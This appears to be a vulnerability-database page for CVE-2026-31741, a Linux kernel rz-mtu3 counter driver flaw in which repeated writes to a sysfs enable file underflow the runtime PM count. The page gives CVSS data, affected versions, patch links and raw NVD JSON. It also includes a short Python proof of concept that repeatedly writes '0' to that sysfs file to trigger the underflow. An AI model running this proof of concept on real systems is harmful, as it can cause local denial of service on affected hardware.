CVE-2026-31741

Description

In the Linux kernel, the following vulnerability has been resolved: counter: rz-mtu3-cnt: prevent counter from being toggled multiple times Runtime PM counter is incremented / decremented each time the sysfs enable file is written to. If user writes 0 to the sysfs enable file multiple times, runtime PM usage count underflows, generating the following message. rz-mtu3-counter rz-mtu3-counter.0: Runtime PM usage count underflow! At the same time, hardware registers end up being accessed with clocks off in rz_mtu3_terminate_counter() to disable an already disabled channel. If user writes 1 to the sysfs enable file multiple times, runtime PM usage count will be incremented each time, requiring the same number of 0 writes to get it back to 0. If user writes 0 to the sysfs enable file while PWM is in progress, PWM is stopped without counter being the owner of the underlying MTU3 channel. Check against the cached count_is_enabled value and exit if the user is trying to set the same enable value.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

Linux Kernel (未应用补丁的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-31741: Trigger Runtime PM underflow
# Requires hardware with rz-mtu3-counter driver loaded
import os

SYSFS_PATH = "/sys/bus/counter/devices/rz-mtu3-counter.0/enable"

def trigger_underflow():
    if not os.path.exists(SYSFS_PATH):
        print("Target sysfs file not found.")
        return

    try:
        # Write '0' multiple times to trigger underflow
        for _ in range(5):
            with open(SYSFS_PATH, 'w') as f:
                f.write('0')
        print("Triggered writes. Check dmesg for underflow messages.")
    except IOError as e:
        print(f"Failed to write to sysfs: {e}")

if __name__ == "__main__":
    trigger_underflow()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31741
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31741
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31741/
[4] VulDB https://vuldb.com/cve/CVE-2026-31741
[5] https://git.kernel.org/stable/c/67c3f99bed6f422ba343d2b70a2eeeccdfd91bef
[6] https://git.kernel.org/stable/c/885aa739a07ab45e90dfa997205acec97979ce4e
[7] https://git.kernel.org/stable/c/ced8b48420eddb1251f93c22dc23fa136490b3cd
[8] https://git.kernel.org/stable/c/e07237df8538b0ae98dce112e4f6db093d767f80
[9] https://git.kernel.org/stable/c/f5f6f06d7e6d262026578b59ba7426eb04acce5d

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31741", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:36.820", "lastModified": "2026-05-07T19:55:42.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncounter: rz-mtu3-cnt: prevent counter from being toggled multiple times\n\nRuntime PM counter is incremented / decremented each time the sysfs\nenable file is written to.\n\nIf user writes 0 to the sysfs enable file multiple times, runtime PM\nusage count underflows, generating the following message.\n\nrz-mtu3-counter rz-mtu3-counter.0: Runtime PM usage count underflow!\n\nAt the same time, hardware registers end up being accessed with clocks\noff in rz_mtu3_terminate_counter() to disable an already disabled\nchannel.\n\nIf user writes 1 to the sysfs enable file multiple times, runtime PM\nusage count will be incremented each time, requiring the same number of\n0 writes to get it back to 0.\n\nIf user writes 0 to the sysfs enable file while PWM is in progress, PWM\nis stopped without counter being the owner of the underlying MTU3\nchannel.\n\nCheck against the cached count_is_enabled value and exit if the user\nis trying to set the same enable value."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4", "versionEndExcluding": "6.6.134", "matchCriteriaId": "C1AFB41D-EE40-4D1A-93ED-E8655E9E65C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/67c3f99bed6f422ba343d2b70a2eeeccdfd91bef", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/885aa739a07ab45e90dfa997205acec97979ce4e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ced8b48420eddb1251f93c22dc23fa136490b3cd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e07237df8538b0ae98dce112e4f6db093d767f80", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f5f6f06d7e6d262026578b59ba7426eb04acce5d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}